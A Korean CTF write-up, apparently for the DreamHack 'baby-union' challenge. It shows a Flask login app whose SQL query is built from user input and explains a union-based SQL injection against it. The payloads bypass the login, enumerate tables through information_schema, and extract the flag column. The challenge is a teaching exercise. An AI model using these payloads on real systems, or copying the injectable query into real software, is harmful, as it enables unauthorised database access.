DreamHack/CTF

(CTF출제) baby-union

G_OM 2024. 9. 3. 12:07

 

 

 

 

 

import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

전체 코드이다 중요한 부분을 보면은

 

 

 

 

 

 

 

 if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()

 

 

이 부분이다 uid, upw가 입력되었을 때 SQL이 작동된다 cur.execute를 보면 싱글쿼터에 취약한 구조이다.

 

한번 실험해보자.

 

 

 

 

 

 

 

 

 

 

 

admin를 입력시킨 후 싱글쿼터로 막아 나머지는 주석으로 처리하자 --사용할 때는 --(스페이스바)를 꼭 넣어줘야 먹힌다test를 넣은 이유는 아까 봤듯이 uid, upw 이 모두 입력되어야 하기 때문이다.

 

결과를 확인해 보면

 

 

 

 

 

 

 

admin으로 로그인했지만 플래그 값을 보여주지는 않는다.

 

그러면 DB에 대한 data를 확인해야 하는 거 같다.

 

칼럼은 결과로 봤듯이 일단 4개의 컬럼은 나와있는 상태이다.

 

하지만 사용자가 볼 수 있는 칼럼은 #, id, description 총 3개이다.

 

정확히 확인해 보자.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

4개로 확실시되었다.

 

그렇다면 어떤 DB를 쓰는지 확인해 보자.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

' UNION SELECT DATABASE(),2,3,4--

 

DATABASE()는 현재 사용 중인 데이터베이스를 확인하는 명령어이다.

 

 

 

 

 

 

 

 

 

 

 

현재 사용중인 DB는 secret_db이다.

 

그러면 테이블을 검색해 보자.

 

 

 

 

' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='secret_db';--

 

 

칼럼 수를 알고 있으니 information_schema.tables 를 사용하여 DB의 테이블 이름을 가져왔다.

 

데이터베이스의 이름을 알고있으니 WHERE로 지정해 주도록 하자.

 

결과를 보면...

 

 

 

 

 

 

 

 

 

user, onlyflag 테이블이 있다.

 

우리는 flag 가 필요하니까 onlyflag를 열여보자.

 

 

 

' UNION SELECT column_name,2,3,4 FROM information_schema.columns WHERE table_name='onlyflag';--

 

테이블 안에 있는 것은 칼럼이니까 information_schema.columns을 이용한다.

 

 

 

 

 

 

 

sname, svalue, sflag, sclose 총 4개의 칼럼이 있다.

 

아까 사용자가 볼 수 있는 칼럼은 3개라고 이야기했다.

 

sname을 제외한 svalue, sflag, sclose를 3개 전부 출력하면

 

 

 

 

 

 

 

플래그 값이 나온다.